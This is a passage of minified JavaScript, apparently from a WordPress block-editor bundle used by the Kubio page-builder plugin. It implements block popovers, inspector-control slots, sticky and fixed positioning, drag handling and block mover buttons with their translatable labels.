r=!1!==n,l=!!n,{order:s,selectedBlocks:a,visibleBlocks:c,temporarilyEditingAsBlocks:u,shouldRenderAppender:p}=(0,d.useSelect)((e=>{const{getBlockOrder:n,getSelectedBlockClientId:o,getSelectedBlockClientIds:i,__unstableGetVisibleBlocks:s,__unstableGetTemporarilyEditingAsBlocks:a,getTemplateLock:c,getBlockEditingMode:u,__unstableGetEditorMode:d}=e(hs),p=o();return{order:n(t),selectedBlocks:i(),visibleBlocks:s(),temporarilyEditingAsBlocks:a(),shouldRenderAppender:r&&(l?!c(t)&&"disabled"!==u(t)&&"zoom-out"!==d():t===p||!t&&!p)}}),[t,r,l]);return(0,Nt.jsxs)($u,{value:i,children:[s.map((e=>(0,Nt.jsx)(d.AsyncModeProvider,{value:!c.has(e)&&!a.includes(e),children:(0,Nt.jsx)(Pb,{rootClientId:t,clientId:e})},e))),s.length<1&&e,!!u&&(0,Nt.jsx)(Jb,{clientId:u}),p&&(0,Nt.jsx)(rg,{tagName:o,rootClientId:t,CustomAppender:n})]})}function nk(e){return(0,Nt.jsx)(d.AsyncModeProvider,{value:!1,children:(0,Nt.jsx)(tk,{...e})})}ek.__unstableElementContext=Xb;const ok=Number.MAX_SAFE_INTEGER,ik=(0,u.forwardRef)((function({clientId:e,bottomClientId:t,children:n,__unstableRefreshSize:o,__unstableCoverTarget:i=!1,__unstablePopoverSlot:r,__unstableContentRef:l,shift:s=!0,...a},c){let d=bd(e);if(!d){const t=document.querySelector("#kubio-iframe-holder iframe"),n=null==t?void 0:t.contentDocument;n&&(d=n.querySelector(`[data-block="${e}"]`))}const h=bd(null!=t?t:e),g=(0,p.useMergeRefs)([c,Rb(l)]),[f,m]=(0,u.useReducer)((e=>(e+1)%ok),0);(0,u.useLayoutEffect)((()=>{if(!d)return;const e=new window.MutationObserver(m);return e.observe(d,{attributes:!0}),()=>{e.disconnect()}}),[d]);const v=(0,u.useMemo)((()=>f<0||!d||h!==d?{}:{position:"absolute",width:d.offsetWidth,height:d.offsetHeight}),[d,h,f]),b=(0,u.useMemo)((()=>{if(!(f<0||!d||t&&!h))return{getBoundingClientRect(){var e,t,n,o;const i=d.getBoundingClientRect(),r=null==h?void 0:h.getBoundingClientRect(),l=Math.min(i.left,null!==(e=null==r?void 0:r.left)&&void 0!==e?e:1/0),s=Math.min(i.top,null!==(t=null==r?void 0:r.top)&&void 0!==t?t:1/0),a=Math.max(i.right,null!==(n=null==r?void 0:r.right)&&void 0!==n?n:-1/0)-l,c=Math.max(i.bottom,null!==(o=null==r?void 0:r.bottom)&&void 0!==o?o:-1/0)-s;return new window.DOMRect(l,s,a,c)},contextElement:d}}),[t,h,d,f]);return!d||t&&!h?null:(0,Nt.jsxs)(ne.Popover,{ref:g,animate:!1,focusOnMount:!1,anchor:b,__unstableSlotName:r||null,inline:!r,placement:"bottom-start",resize:!1,flip:!1,shift:s,...a,className:Oa()("block-editor-block-popover",a.className),variant:"unstyled",children:[i&&(0,Nt.jsx)("div",{style:v,children:n}),!i&&n]})})),rk=(0,u.forwardRef)((({clientId:e,bottomClientId:t,children:n,...o},i)=>(0,Nt.jsx)(ik,{...o,bottomClientId:t,clientId:e,__unstableContentRef:void 0,__unstablePopoverSlot:void 0,ref:i,children:n})));function lk({selectedElement:e,additionalStyles:t={},children:n}){const[o,i]=(0,u.useState)(e.offsetWidth),[r,l]=(0,u.useState)(e.offsetHeight);(0,u.useEffect)((()=>{const t=new window.ResizeObserver((()=>{i(e.offsetWidth),l(e.offsetHeight)}));return t.observe(e,{box:"border-box"}),()=>t.disconnect()}),[e]);const s=(0,u.useMemo)((()=>({position:"absolute",width:o,height:r,...t})),[o,r,t]);return(0,Nt.jsx)("div",{style:s,children:n})}const sk=(0,u.forwardRef)((function({clientId:e,bottomClientId:t,children:n,shift:o=!1,additionalStyles:i,...r},l){var s;null!==(s=t)&&void 0!==s||(t=e);const a=bd(e);return(0,Nt.jsx)(ik,{ref:l,clientId:e,bottomClientId:t,shift:o,...r,children:a&&e===t?(0,Nt.jsx)(lk,{selectedElement:a,additionalStyles:i,children:n}):n})})),ak=(0,ne.createSlotFill)("InspectorControls"),ck=(0,ne.createSlotFill)("InspectorAdvancedControls"),uk=(0,ne.createSlotFill)("InspectorControlsBindings"),dk=(0,ne.createSlotFill)("InspectorControlsBackground"),pk=(0,ne.createSlotFill)("InspectorControlsBorder"),hk=(0,ne.createSlotFill)("InspectorControlsColor"),gk=(0,ne.createSlotFill)("InspectorControlsFilter"),fk=(0,ne.createSlotFill)("InspectorControlsDimensions"),mk=(0,ne.createSlotFill)("InspectorControlsPosition"),vk=(0,ne.createSlotFill)("InspectorControlsTypography"),bk=(0,ne.createSlotFill)("InspectorControlsListView"),kk=(0,ne.createSlotFill)("InspectorControlsStyles"),_k={default:ak,advanced:ck,background:dk,bindings:uk,border:pk,color:hk,dimensions:fk,effects:(0,ne.createSlotFill)("InspectorControlsEffects"),filter:gk,list:bk,position:mk,settings:ak,styles:kk,typography:vk};function yk({children:e,group:t="default",__experimentalGroup:n,resetAllFilter:o}){var i;n&&(Ye()("`__experimentalGroup` property in `InspectorControlsFill`",{since:"6.2",version:"6.4",alternative:"`group`"}),t=n);const r=S(),l=null===(i=_k[t])||void 0===i?void 0:i.Fill;return l?r[g]?(0,Nt.jsx)(ne.__experimentalStyleProvider,{document,children:(0,Nt.jsx)(l,{children:t=>(0,Nt.jsx)(Sk,{fillProps:t,children:e,resetAllFilter:o})})}):null:(!0===globalThis.SCRIPT_DEBUG&&Zg()(`Unknown InspectorControls group "${t}" provided.`),null)}function xk({resetAllFilter:e,children:t}){const{registerResetAllFilter:n,deregisterResetAllFilter:o}=(0,u.useContext)(ne.__experimentalToolsPanelContext);return(0,u.useEffect)((()=>{if(e&&n&&o)return n(e),()=>{o(e)}}),[e,n,o]),t}function Sk({children:e,resetAllFilter:t,fillProps:n}){const{forwardedContext:o=[]}=n,i=(0,Nt.jsx)(xk,{resetAllFilter:t,children:e});return o.reduce(((e,[t,n])=>(0,Nt.jsx)(t,{...n,children:e})),i)}const wk=e=>{var t;let n=!(null===(t=(0,ne.__experimentalUseSlot)(e).fills)||void 0===t||!t.length);var o;return(0,se.isFunction)(ne.__experimentalUseSlotFills)&&(n=!(null===(o=(0,ne.__experimentalUseSlotFills)(e))||void 0===o||!o.length)),n};function Ck({Slot:e,fillProps:t,...n}){const o=(0,u.useContext)(ne.__experimentalToolsPanelContext),i=(0,u.useMemo)((()=>{var e;return{...null!=t?t:{},forwardedContext:[...null!==(e=null==t?void 0:t.forwardedContext)&&void 0!==e?e:[],[ne.__experimentalToolsPanelContext.Provider,{value:o}]]}}),[o,t]);return(0,Nt.jsx)(e,{...n,fillProps:i,bubblesVirtually:!0})}function Bk({children:e,group:t,label:n}){const{updateBlockAttributes:o}=(0,d.useDispatch)(hs),{getBlockAttributes:i,getMultiSelectedBlockClientIds:r,getSelectedBlockClientId:l,hasMultiSelection:s}=(0,d.useSelect)(hs),a=l(),c=(0,u.useCallback)(((e=[])=>{const t={},n=s()?r():[a];n.forEach((n=>{const{style:o}=i(n);let r={style:o};e.forEach((e=>{r={...r,...e(r)}})),r={...r,style:AM(r.style)},t[n]=r})),o(n,t,!0)}),[i,r,s,a,o]);return(0,Nt.jsx)(ne.__experimentalToolsPanel,{className:`${t}-block-support-panel`,label:n,resetAll:c,panelId:a,hasInnerWrapper:!0,shouldRenderPlaceholderItems:!0,__experimentalFirstVisibleItemClass:"first",__experimentalLastVisibleItemClass:"last",children:e},a)}function Ik({__experimentalGroup:e,group:t="default",label:n,fillProps:o,...i}){let r,l;if((0,oe.wpVersionCompare)("6.8","<")){var s,a;l=null===(s=_k[t])||void 0===s?void 0:s.Slot,r=wk(null===(a=l)||void 0===a?void 0:a.__unstableName)}else{var c;e&&(Ye()("`__experimentalGroup` property in `InspectorControlsSlot`",{since:"6.2",version:"6.4",alternative:"`group`"}),t=e);const n=_k[t];r=null===(c=(0,ne.__experimentalUseSlotFills)(null==n?void 0:n.name))||void 0===c?void 0:c.length,l=null==n?void 0:n.Slot}return l?r?n?(0,Nt.jsx)(Bk,{group:t,label:n,children:(0,Nt.jsx)(Ck,{...i,fillProps:o,Slot:l})}):(0,Nt.jsx)(l,{...i,fillProps:o,bubblesVirtually:!0}):null:(!0===globalThis.SCRIPT_DEBUG&&Zg()(`Unknown InspectorControls group "${t}" provided.`),null)}const jk=yk;jk.Slot=Ik;const Ek=e=>(0,Nt.jsx)(yk,{...e,group:"advanced"});Ek.Slot=e=>(0,Nt.jsx)(Ik,{...e,group:"advanced"}),Ek.slotName="InspectorAdvancedControls";const Tk=jk;function Pk(e){return(0,d.useSelect)((t=>{var n,o,i,r,l,s;if(!e)return null;const{getBlockName:a,getBlockAttributes:u,__experimentalGetReusableBlockTitle:d}=t(hs),{getBlockType:p,getActiveBlockVariation:h}=t(c.store),g=a(e),f=p(g);if(!f)return null;const m=u(e),v=h(g,m),b=(0,c.isReusableBlock)(f),k=(b?d(m.ref):void 0)||f.title,_=b||(0,c.isTemplatePart)(f),y=function(e){var t,n;const o=null==e||null===(t=e.style)||void 0===t||null===(n=t.position)||void 0===n?void 0:n.type;return"sticky"===o?(0,Je.__)("Sticky","kubio"):"fixed"===o?(0,Je.__)("Fixed","kubio"):null}(m),x={isSynced:_,title:k,icon:f.icon,description:f.description,anchor:null==m?void 0:m.anchor,positionLabel:y,positionType:null==m||null===(n=m.style)||void 0===n||null===(o=n.position)||void 0===o?void 0:o.type,name:null==m||null===(i=m.metadata)||void 0===i?void 0:i.name};return v?{isSynced:_,title:v.title||f.title,icon:v.icon||f.icon,description:v.description||f.description,anchor:null==m?void 0:m.anchor,positionLabel:y,positionType:null==m||null===(r=m.style)||void 0===r||null===(l=r.position)||void 0===l?void 0:l.type,name:null==m||null===(s=m.metadata)||void 0===s?void 0:s.name}:x}),[e])}const Mk="position",Rk={key:"default",value:"",name:(0,Je.__)("Default")},Nk={key:"sticky",value:"sticky",name:(0,Je._x)("Sticky","Name for the value of the CSS position property"),hint:(0,Je.__)("The block will stick to the top of the window instead of scrolling.")},Ak={key:"fixed",value:"fixed",name:(0,Je._x)("Fixed","Name for the value of the CSS position property"),hint:(0,Je.__)("The block will not move when the page is scrolled.")},Lk=["top","right","bottom","left"],Dk=["sticky","fixed"];function Ok(e){var t,n;const o=null==e||null===(t=e.style)||void 0===t||null===(n=t.position)||void 0===n?void 0:n.type;return"sticky"===o||"fixed"===o}function zk({name:e}={}){const[t,n]=Vs("position.fixed","position.sticky"),o=!t&&!n;return i=e,!(0,c.getBlockSupport)(i,Mk)||o;var i}function Fk({style:e={},clientId:t,name:n,setAttributes:o}){var i;const r=function(e){const t=(0,c.getBlockSupport)(e,Mk);return!!(!0===t||null!=t&&t.fixed)}(n),l=function(e){const t=(0,c.getBlockSupport)(e,Mk);return!!(!0===t||null!=t&&t.sticky)}(n),s=null==e||null===(i=e.position)||void 0===i?void 0:i.type,{firstParentClientId:a}=(0,d.useSelect)((e=>{const{getBlockParents:n}=e(hs),o=n(t);return{firstParentClientId:o[o.length-1]}}),[t]),p=Pk(a),h=l&&s===Nk.value&&p?(0,Je.sprintf)(/* translators: %s: the name of the parent block. */ /* translators: %s: the name of the parent block. */(0,Je.__)("The block will stick to the scrollable area of the parent %s block."),p.title):null,g=(0,u.useMemo)((()=>{const e=[Rk];return(l||s===Nk.value)&&e.push(Nk),(r||s===Ak.value)&&e.push(Ak),e}),[r,l,s]),f=s&&g.find((e=>e.value===s))||Rk;return u.Platform.select({web:g.length>1?(0,Nt.jsx)(Tk,{group:"position",children:(0,Nt.jsx)(ne.BaseControl,{__nextHasNoMarginBottom:!0,help:h,children:(0,Nt.jsx)(ne.CustomSelectControl,{__next40pxDefaultSize:!0,label:(0,Je.__)("Position"),hideLabelFromVision:!0,describedBy:(0,Je.sprintf)(// translators: %s: Currently selected position. // translators: %s: Currently selected position. (0,Je.__)("Currently selected position: %s"),f.name),options:g,value:f,onChange:({selectedItem:t})=>{(t=>{const n={...e,position:{...null==e?void 0:e.position,type:t,top:"sticky"===t||"fixed"===t?"0px":void 0}};o({style:AM(n)})})(t.value)},size:"__unstable-large"})})}):null,native:null})}const Vk={edit:function(e){return zk(e)?null:(0,Nt.jsx)(Fk,{...e})},useBlockProps:function({name:e,style:t}){var n,o;const i=(0,c.hasBlockSupport)(e,Mk),r=zk({name:e}),l=i&&!r,s=(0,p.useInstanceId)(Hk);let a;l&&(a=function({selector:e,style:t}){let n="";const{type:o}=(null==t?void 0:t.position)||{};return Dk.includes(o)?(n+=`${e} {`,n+=`position: ${o};`,Lk.forEach((e=>{var o;void 0!==(null==t||null===(o=t.position)||void 0===o?void 0:o[e])&&(n+=`${e}: ${t.position[e]};`)})),"sticky"!==o&&"fixed"!==o||(n+="z-index: 10"),n+="}",n):n}({selector:`.wp-container-${s}.wp-container-${s}`,style:t})||"");const u=ms({[`wp-container-${s}`]:l&&!!a,[`is-position-${null==t||null===(n=t.position)||void 0===n?void 0:n.type}`]:l&&!!a&&!(null==t||null===(o=t.position)||void 0===o||!o.type)});return zM({css:a}),{className:u}},attributeKeys:["style"],hasSupport:e=>(0,c.hasBlockSupport)(e,Mk)},Hk={},Gk={placement:"top-start"},$k={...Gk,flip:!1,shift:!0},Uk={...Gk,flip:!0,shift:!1};function Wk(e,t,n,o,i){if(!e||!t)return $k;const r=(null==n?void 0:n.scrollTop)||0,l=function(e){const t=e.ownerDocument.defaultView;if(!t)return new window.DOMRectReadOnly;let n=e.getBoundingClientRect();const o=[e];let i;for(;i=o.pop();)for(const e of i.children)Rp(e)&&(n=Mp(n,e.getBoundingClientRect()),o.push(e));const r=Math.max(n.left,0),l=Math.min(n.right,t.innerWidth);return n=new window.DOMRectReadOnly(r,n.top,l-r,n.height),n}(t),s=r+e.getBoundingClientRect().top,a=e.ownerDocument.documentElement.clientHeight,c=s+o,u=l.top>c,d=l.height>a-o;return i||!u&&!d?Uk:$k}function Kk({contentElement:e,clientId:t}){const n=bd(t),[o,i]=(0,u.useState)(0),{blockIndex:r,isSticky:l}=(0,d.useSelect)((e=>{const{getBlockIndex:n,getBlockAttributes:o}=e(hs);return{blockIndex:n(t),isSticky:Ok(o(t))}}),[t]),s=(0,u.useMemo)((()=>{if(e)return(0,Cp.getScrollContainer)(e)}),[e]),[a,c]=(0,u.useState)((()=>Wk(e,n,s,o,l))),h=(0,p.useRefEffect)((e=>{i(e.offsetHeight)}),[]),g=(0,u.useCallback)((()=>c(Wk(e,n,s,o,l))),[e,n,s,o]);return(0,u.useLayoutEffect)(g,[r,g]),(0,u.useLayoutEffect)((()=>{var t,o,i;if(!e||!n)return;const r=null==e||null===(t=e.ownerDocument)||void 0===t?void 0:t.defaultView;let l;null==r||null===(o=r.addEventHandler)||void 0===o||o.call(r,"resize",g);const s=null==n||null===(i=n.ownerDocument)||void 0===i?void 0:i.defaultView;return s.ResizeObserver&&(l=new s.ResizeObserver(g),l.observe(n)),()=>{var e;null==r||null===(e=r.removeEventHandler)||void 0===e||e.call(r,"resize",g),l&&l.disconnect()}}),[g,e,n]),{...a,ref:h}}function Zk(e){const t=(0,d.useSelect)((t=>{const{getBlockRootClientId:n,getBlockParents:o,__experimentalGetBlockListSettingsForBlocks:i,isBlockInsertionPointVisible:r,getBlockInsertionPoint:l,getBlockOrder:s,hasMultiSelection:a,getLastMultiSelectedBlockClientId:c}=t(hs),u=o(e),d=i(u),p=u.find((e=>{var t;return null===(t=d[e])||void 0===t?void 0:t.__experimentalCaptureToolbars}));let h=!1;if(r()){const t=l();h=s(t.rootClientId)[t.index]===e}return{capturingClientId:p,isInsertionPointVisible:h,lastClientId:a()?c():null,rootClientId:n(e)}}),[e]);return t}function qk({clientId:e,__unstableContentRef:t}){const{capturingClientId:n,isInsertionPointVisible:o,lastClientId:i,rootClientId:r}=Zk(e),l=Kk({contentElement:null==t?void 0:t.current,clientId:e});return(0,Nt.jsx)(sk,{clientId:n||e,bottomClientId:i,className:ms("block-editor-block-list__block-side-inserter-popover",{"is-insertion-point-visible":o}),__unstableContentRef:t,...l,children:(0,Nt.jsx)("div",{className:"block-editor-block-list__empty-block-inserter",children:(0,Nt.jsx)(Xh,{position:"bottom right",rootClientId:r,clientId:e,__experimentalIsQuick:!0})})})}const Yk=({appendToOwnerDocument:e,children:t,clientIds:n,cloneClassname:o,elementId:i,onDragStart:r,onDragEnd:l,fadeWhenDisabled:s=!1,dragComponent:a})=>{const{srcRootClientId:h,isDraggable:g,icon:f,visibleInserter:m,getBlockType:v}=(0,d.useSelect)((e=>{var t;const{canMoveBlocks:o,getBlockRootClientId:i,getBlockName:r,getBlockAttributes:l,isBlockInsertionPointVisible:s}=e(hs),{getBlockType:a,getActiveBlockVariation:u}=e(c.store),d=i(n[0]),p=r(n[0]),h=u(p,l(n[0]));return{srcRootClientId:d,isDraggable:o(n,d),icon:(null==h?void 0:h.icon)||(null===(t=a(p))||void 0===t?void 0:t.icon),visibleInserter:s(),getBlockType:a}}),[n]),b=(0,u.useRef)(!1),[k,_,y]=function(){const e=(0,u.useRef)(null),t=(0,u.useRef)(null),n=(0,u.useRef)(null),o=(0,u.useRef)(null);return(0,u.useEffect)((()=>()=>{o.current&&(clearInterval(o.current),o.current=null)}),[]),[(0,u.useCallback)((i=>{e.current=i.clientY,n.current=(0,Cp.getScrollContainer)(i.target),o.current=setInterval((()=>{if(n.current&&t.current){const e=n.current.scrollTop+t.current;n.current.scroll({top:e})}}),25)}),[]),(0,u.useCallback)((o=>{if(!n.current)return;const i=n.current.offsetHeight,r=e.current-n.current.offsetTop,l=o.clientY-n.current.offsetTop;if(o.clientY>r){const e=Math.max(i-r-50,0),n=Math.max(l-r-50,0),o=0===e||0===n?0:n/e;t.current=25*o}else if(o.clientY<r){const e=Math.max(r-50,0),n=Math.max(r-l-50,0),o=0===e||0===n?0:n/e;t.current=-25*o}else t.current=0}),[]),()=>{e.current=null,n.current=null,o.current&&(clearInterval(o.current),o.current=null)}]}(),{getAllowedBlocks:x,getBlockNamesByClientId:S,getBlockRootClientId:w}=(0,d.useSelect)(hs),{startDraggingBlocks:C,stopDraggingBlocks:B}=(0,d.useDispatch)(hs);(0,u.useEffect)((()=>()=>{b.current&&B()}),[]);const I=bd(n[0]),j=null==I?void 0:I.closest("body");if((0,u.useEffect)((()=>{if(!j||!s)return;const e=(0,p.throttle)((e=>{if(!e.target.closest("[data-block]"))return;const t=S(n),o=e.target.closest("[data-block]").getAttribute("data-block"),i=x(o),r=S([o])[0];let l;if(0===(null==i?void 0:i.length)){const e=w(o),n=S([e])[0],i=x(e);l=Sg(v,i,t,n)}else l=Sg(v,i,t,r);var s,a,c,u,d,p,h,g;l||m?null===(s=window)||void 0===s||null===(a=s.document)||void 0===a||null===(c=a.body)||void 0===c||null===(u=c.classList)||void 0===u||u.remove("block-draggable-invalid-drag-token"):null===(d=window)||void 0===d||null===(p=d.document)||void 0===p||null===(h=p.body)||void 0===h||null===(g=h.classList)||void 0===g||g.add("block-draggable-invalid-drag-token")}),200);return j.addEventListener("dragover",e),()=>{j.removeEventListener("dragover",e)}}),[n,j,s,x,S,w,v,m]),!g)return t({draggable:!1});const E={type:"block",srcClientIds:n,srcRootClientId:h};return(0,Nt.jsx)(ne.Draggable,{appendToOwnerDocument:e,cloneClassname:o,__experimentalTransferDataType:"wp-blocks",transferData:E,onDragStart:e=>{window.requestAnimationFrame((()=>{C(n),b.current=!0,k(e),r&&r()}))},onDragOver:_,onDragEnd:()=>{B(),b.current=!1,y(),l&&l()},__experimentalDragComponent:void 0!==a?a:(0,Nt.jsx)(Fd,{count:n.length,icon:f,fadeWhenDisabled:!0}),elementId:i,children:({onDraggableStart:e,onDraggableEnd:n})=>t({draggable:!0,onDragStart:e,onDragEnd:n})})},Xk=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M10.6 6L9.4 7l4.6 5-4.6 5 1.2 1 5.4-6z"})}),Qk=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z"})}),Jk=(0,Nt.jsx)(Rt.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Nt.jsx)(Rt.Path,{d:"M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z"})}),e_=(0,Nt.jsx)(Rt.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Nt.jsx)(Rt.Path,{d:"M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z"})}),t_=(e,t)=>"up"===e?"horizontal"===t?(0,Je.isRTL)()?"right":"left":"up":"down"===e?"horizontal"===t?(0,Je.isRTL)()?"left":"right":"down":null;function n_(e,t,n,o,i,r,l){const s=n+1;if(e>1)return function(e,t,n,o,i,r){const l=t+1;if(n&&o)return(0,Je.__)("All blocks are selected, and cannot be moved","kubio");if(i>0&&!o){const t=t_("down",r);if("down"===t)return(0,Je.sprintf)(// translators: 1: Number of selected blocks, 2: Position of selected blocks // translators: 1: Number of selected blocks, 2: Position of selected blocks (0,Je.__)("Move %1$d blocks from position %2$d down by one place","kubio"),e,l);if("left"===t)return(0,Je.sprintf)(// translators: 1: Number of selected blocks, 2: Position of selected blocks // translators: 1: Number of selected blocks, 2: Position of selected blocks (0,Je.__)("Move %1$d blocks from position %2$d left by one place","kubio"),e,l);if("right"===t)return(0,Je.sprintf)(// translators: 1: Number of selected blocks, 2: Position of selected blocks // translators: 1: Number of selected blocks, 2: Position of selected blocks (0,Je.__)("Move %1$d blocks from position %2$d right by one place","kubio"),e,l)}if(i>0&&o){const e=t_("down",r);if("down"===e)return(0,Je.__)("Blocks cannot be moved down as they are already at the bottom","kubio");if("left"===e)return(0,Je.__)("Blocks cannot be moved left as they are already are at the leftmost position","kubio");if("right"===e)return(0,Je.__)("Blocks cannot be moved right as they are already are at the rightmost position","kubio")}if(i<0&&!n){const t=t_("up",r);if("up"===t)return(0,Je.sprintf)(// translators: 1: Number of selected blocks, 2: Position of selected blocks // translators: 1: Number of selected blocks, 2: Position of selected blocks (0,Je.__)("Move %1$d blocks from position %2$d up by one place","kubio"),e,l);if("left"===t)return(0,Je.sprintf)(// translators: 1: Number of selected blocks, 2: Position of selected blocks // translators: 1: Number of selected blocks, 2: Position of selected blocks (0,Je.__)("Move %1$d blocks from position %2$d left by one place","kubio"),e,l);if("right"===t)return(0,Je.sprintf)(// translators: 1: Number of selected blocks, 2: Position of selected blocks // translators: 1: Number of selected blocks, 2: Position of selected blocks (0,Je.__)("Move %1$d blocks from position %2$d right by one place","kubio"),e,l)}if(i<0&&n){const e=t_("up",r);if("up"===e)return(0,Je.__)("Blocks cannot be moved up as they are already at the top","kubio");if("left"===e)return(0,Je.__)("Blocks cannot be moved left as they are already are at the leftmost position","kubio");if("right"===e)return(0,Je.__)("Blocks cannot be moved right as they are already are at the rightmost position","kubio")}}(e,n,o,i,r,l);if(o&&i)return(0,Je.sprintf)(// translators: %s: Type of block (i.e. Text, Image etc) // translators: %s: Type of block (i.e. Text, Image etc) (0,Je.__)("Block %s is the only block, and cannot be moved","kubio"),t);if(r>0&&!i){const e=t_("down",l);if("down"===e)return(0,Je.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position // translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position (0,Je.__)("Move %1$s block from position %2$d down to position %3$d","kubio"),t,s,s+1);if("left"===e)return(0,Je.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position // translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position (0,Je.__)("Move %1$s block from position %2$d left to position %3$d","kubio"),t,s,s+1);if("right"===e)return(0,Je.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position // translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position (0,Je.__)("Move %1$s block from position %2$d right to position %3$d","kubio"),t,s,s+1)}if(r>0&&i){const e=t_("down",l);if("down"===e)return(0,Je.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc) // translators: 1: Type of block (i.e. Text, Image etc) (0,Je.__)("Block %1$s is at the end of the content and can’t be moved down","kubio"),t);if("left"===e)return(0,Je.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc) // translators: 1: Type of block (i.e. Text, Image etc) (0,Je.__)("Block %1$s is at the end of the content and can’t be moved left","kubio"),t);if("right"===e)return(0,Je.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc) // translators: 1: Type of block (i.e. Text, Image etc) (0,Je.__)("Block %1$s is at the end of the content and can’t be moved right","kubio"),t)}if(r<0&&!o){const e=t_("up",l);if("up"===e)return(0,Je.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position // translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position (0,Je.__)("Move %1$s block from position %2$d up to position %3$d","kubio"),t,s,s-1);if("left"===e)return(0,Je.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position // translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position (0,Je.__)("Move %1$s block from position %2$d left to position %3$d","kubio"),t,s,s-1);if("right"===e)return(0,Je.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position // translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position (0,Je.__)("Move %1$s block from position %2$d right to position %3$d","kubio"),t,s,s-1)}if(r<0&&o){const e=t_("up",l);if("up"===e)return(0,Je.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc) // translators: 1: Type of block (i.e. Text, Image etc) (0,Je.__)("Block %1$s is at the beginning of the content and can’t be moved up","kubio"),t);if("left"===e)return(0,Je.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc) // translators: 1: Type of block (i.e. Text, Image etc) (0,Je.__)("Block %1$s is at the beginning of the content and can’t be moved left","kubio"),t);if("right"===e)return(0,Je.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc) // translators: 1: Type of block (i.e. Text, Image etc) (0,Je.__)("Block %1$s is at the beginning of the content and can’t be moved right","kubio"),t)}}const o_=(e,t)=>"up"===e?"horizontal"===t?(0,Je.isRTL)()?Xk:Qk:Jk:"down"===e?"horizontal"===t?(0,Je.isRTL)()?Qk:Xk:e_:null,i_=(e,t)=>"up"===e?"horizontal"===t?(0,Je.isRTL)()?(0,Je.__)("Move right"):(0,Je.__)("Move left"):(0,Je.__)("Move up"):"down"===e?"horizontal"===t?(0,Je.isRTL)()?(0,Je.__)("Move left"):(0,Je.__)("Move right"):(0,Je.__)("Move down"):null,r_=(0,u.forwardRef)((({clientIds:e,direction:t,orientation:n,...o},i)=>{const r=(0,p.useInstanceId)(r_),l=Array.isArray(e)?e:[e],s=l.length,{disabled:a}=o,{blockType:u,isDisabled:h,rootClientId:g,isFirst:f,isLast:m,firstIndex:v,orientation:b="vertical"}=(0,d.useSelect)((e=>{const{getBlockIndex:o,getBlockRootClientId:i,getBlockOrder:r,getBlock:s,getBlockListSettings:u}=e(hs),d=l[0],p=i(d),h=o(d),g=o(l[l.length-1]),f=r(p),m=s(d),v=0===h,b=g===f.length-1,{orientation:k}=u(p)||{};return{blockType:m?(0,c.getBlockType)(m.name):null,isDisabled:a||("up"===t?v:b),rootClientId:p,firstIndex:h,isFirst:v,isLast:b,orientation:n||k}}),[e,t]),{moveBlocksDown:k,moveBlocksUp:_}=(0,d.useDispatch)(hs),y="up"===t?_:k,x=`block-editor-block-mover-button__description-${r}`;return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!0,ref:i,className:ms("block-editor-block-mover-button",`is-${t}-button`),icon:o_(t,b),label:i_(t,b),"aria-describedby":x,...o,onClick:h?null:t=>{y(e,g),o.onClick&&o.onClick(t)},disabled:h,accessibleWhenDisabled:!0}),(0,Nt.jsx)(ne.VisuallyHidden,{id:x,children:n_(s,u&&u.title,v,f,m,"up"===t?-1:1,b)})]})})),l_=(0,u.forwardRef)(((e,t)=>(0,Nt.jsx)(r_,{direction:"up",ref:t,...e}))),s_=(0,u.forwardRef)(((e,t)=>(0,Nt.jsx)(r_,{direction:"down",ref:t,...e}))),a_=function({clientIds:e,hideDragHandle:t,isBlockMoverUpButtonDisabled:n,isBlockMoverDownButtonDisabled:o}){const{canMove:i,rootClientId:r,isFirst:l,isLast:s,orientation:a,isManualGrid:c}=(0,d.useSelect)((t=>{var n,o;const{getBlockIndex:i,getBlockListSettings:r,canMoveBlocks:l,getBlockOrder:s,getBlockRootClientId:a,getBlockAttributes:c}=t(hs),u=Array.isArray(e)?e:[e],d=u[0],p=a(d),h=i(d),g=i(u[u.length-1]),f=s(p),{layout:m={}}=null!==(n=c(p))&&void 0!==n?n:{};return{canMove:l(e),rootClientId:p,isFirst:0===h,isLast:g===f.length-1,orientation:null===(o=r(p))||void 0===o?void 